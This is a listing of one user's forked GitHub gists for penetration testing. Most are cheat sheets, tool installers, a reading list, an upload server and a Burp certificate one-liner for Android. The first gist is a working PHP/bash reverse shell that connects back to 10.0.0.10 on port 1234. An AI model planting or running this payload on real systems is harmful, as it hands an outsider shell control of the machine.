ikuamike / shell.php

Created January 4, 2019 11:47 — forked from rshipp/shell.php

A tiny PHP/bash reverse shell.

	<?php
	exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

ikuamike / grep.sh

Created January 4, 2019 13:29 — forked from isyufu/grep.sh

grep cheat sheet

	#!/bin/sh
	#http://www.thegeekstuff.com/2011/01/advanced-regular-expressions-in-grep-command-with-10-examples-%E2%80%93-part-ii/


	# GENERAL
	# print lines begining with range of letters
	grep ^[A-D] table.txt


	# REGEX

ikuamike / thpsetup.py

Created January 5, 2019 22:31 — forked from oaass/thpsetup.py

This will install the additional tools to Kali recommended by "The Hacker Playbook". It will install the tools in /opt/tools

	#!/bin/bash

	echo ""
	echo "=========================================================================="
	echo "= Pentest Attack Machine Setup ="
	echo "= Based on the setup from The Hacker Playbook ="
	echo "=========================================================================="
	echo ""

	# Prepare tools folder

ikuamike / 1 - pythons_sinister_secrets.md

Created January 7, 2019 22:05 — forked from MarkBaggett/1 - pythons_sinister_secrets.md

Come To The Darkside - Pythons Sinister Secrets

This is a collection of code snippets used in my Pen Test Hackfest 2018 Presentation

ikuamike / gist:a07eac5ec3696d638e6dc6a449f6fc24

Created January 7, 2019 23:00 — forked from carnal0wnage/gist:606c41ac6ec40bf5c69d4db96d9312e3

Red Team Books

	From: http://redteams.net/bookshelf/
	Techie

	Unauthorised Access: Physical Penetration Testing For IT Security Teams by Wil Allsopp.
	Social Engineering: The Art of Human Hacking by Christopher Hadnagy
	Practical Lock Picking: A Physical Penetration Tester's Training Guide by Deviant Ollam
	The Art of Deception: Controlling the Human Element of Security by Kevin Mitnick
	Hacking: The Art of Exploitation by Jon Erickson and Hacking Exposed by Stuart McClure and others.
	Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning by Fyodor
	The Shellcoder's Handbook: Discovering and Exploiting Security Holes by several authors

ikuamike / how-to-oscp-final.md

Created March 24, 2019 19:01 — forked from unfo/how-to-oscp-final.md

How to pass the OSCP

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

ikuamike / pentest.sh

Created May 9, 2019 19:54 — forked from OffXec/pentest.sh

Installs pentesting tools, then symlinks them to be ran seamlessly.

	#/bin/bash

	git clone https://github.com/danielmiessler/SecLists.git /opt/seclists

	git clone https://github.com/s0md3v/XSStrike.git /opt/xsstrike
	sudo ln -s /opt/xsstrike/xsstrike.py /usr/local/bin/xsstrike
	chmod +x /opt/xsstrike/xsstrike.py

	git clone https://github.com/s0md3v/Arjun.git /opt/arjun
	sudo ln -s /opt/arjun/arjun.py /usr/local/bin/arjun

ikuamike / SimpleHTTPServerWithUpload.py

Created September 2, 2019 17:57 — forked from touilleMan/SimpleHTTPServerWithUpload.py

Simple Python Http Server with Upload - Python3 version

	#!/usr/bin/env python3

	"""Simple HTTP Server With Upload.

	This module builds on BaseHTTPServer by implementing the standard GET
	and HEAD requests in a fairly straightforward manner.

	see: https://gist.github.com/UniIsland/3346170
	"""

ikuamike / GoogleDorking.md

Created February 22, 2020 20:12 — forked from sundowndev/GoogleDorking.md

Google dork cheatsheet

Filter	Description	Example
allintext	Searches for occurrences of all the keywords given.	`allintext:"keyword"`
intext	Searches for the occurrences of keywords all at once or one at a time.	`intext:"keyword"`
inurl	Searches for a URL matching one of the keywords.	`inurl:"keyword"`
allinurl	Searches for a URL matching all the keywords in the query.	`allinurl:"keyword"`
intitle	Searches for occurrences of keywords in title all or one.	`intitle:"keyword"`

ikuamike / android-burp-cert.sh

Created April 29, 2020 21:00 — forked from vavkamil/android-burp-cert.sh

One Liner For Installing Burp Certificate Into Android Nougat and Later

	# https://securitychops.com/2019/08/31/dev/random/one-liner-to-install-burp-cacert-into-android.html
	#
	curl --proxy http://127.0.0.1:8080 -o cacert.der http://burp/cert \
	&& openssl x509 -inform DER -in cacert.der -out cacert.pem \
	&& cp cacert.der $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem \|head -1).0 \
	&& adb root \
	&& adb remount \
	&& adb push $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem \|head -1).0 /sdcard/ \
	&& echo -n "mv /sdcard/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem \|head -1).0 /system/etc/security/cacerts/" \| adb shell \
	&& echo -n "chmod 644 /system/etc/security/cacerts/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem \|head -1).0" \| adb shell \